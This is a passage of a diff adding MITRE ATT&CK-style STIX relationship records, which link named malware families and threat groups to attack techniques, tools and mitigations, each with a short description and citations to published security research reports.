"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses rundll32.exe to load its DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--216ab163-818b-4303-beb6-a743b90c98bf", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1fadec32-a069-4103-bac1-1f61cf2e90e0", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--f9ca3697-51a1-494b-8a61-06e516f29860", + "source_ref": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "modified": "2019-07-24T18:07:56.754Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) steals credentials from its victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1", + "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) attempted to use RDP to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--2816f512-1a04-4cf8-94e9-36720b949c76", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--cc831c63-94af-4937-b8e6-668591ec7d04", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.166Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bizeul 2014", + "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.731Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--731acc34-e9c3-4953-a743-7941bc73c0d2", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh interface show to discover network interface settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "The Ritsol backdoor trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) can download files onto a compromised host from a remote location.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f0ef3f47-5651-4638-a007-cb585d3174b0", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.490Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Ristol May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the Registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--321c1e2e-c295-42db-87cf-4d71f6c7f164", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.720Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--023ff141-8ed7-4132-85a0-494fe075236b", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors used the native [at](https://attack.mitre.org/software/S0110) Windows task scheduler tool to use scheduled tasks for execution on a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--67f19627-27a5-4898-bab5-7b235aa4ad77", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.", + "source_name": "Securelist Agent.btz", + "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) obtained OS version and hardware configuration from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) uses HTTP for communication to the control servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c233f12f-cfa1-4f2a-ba56-ca1980806f4e", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--4d6def4b-69cf-4dca-848b-53de73536ad6", + "source_ref": "course-of-action--dd9a85ad-6a92-4986-a215-b01d0ce7b987", + "modified": "2019-10-18T20:37:17.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Felismus](https://attack.mitre.org/software/S0171) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4887f5b0-45ed-4848-a984-4e72263e33d8", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--24013fde-5ce7-4995-9d9f-d2ced31b9d9a", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.178Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to side load DLLs with a valid version of Chrome with one of their tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group is known to have used RDP during operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added newly created accounts to the administrators group to maintain elevated access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--41590e53-8d15-4924-bfd7-850f7b3f23ea", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to brute force password hashes to be able to leverage plain text credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T21:43:14.128Z", + "id": "relationship--1334cbe3-8613-4279-9a1f-58781c2656a4", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.626Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3350f278-af37-4183-b1be-8d79abce27ac", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes uncommonly used ports such as 995, 1816, 465, 1521, 3306, and many others.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--7aa43cd7-ada3-49c9-8dc7-9492fa22c7d8", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b03f71ab-d254-49b7-954d-46c76befb525", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--baa9bb45-b4d2-4eea-803f-d2d1126330d4", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--647032ac-0432-4785-9d50-06b9970bcbcb", + "source_ref": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "modified": "2019-07-24T18:13:22.089Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 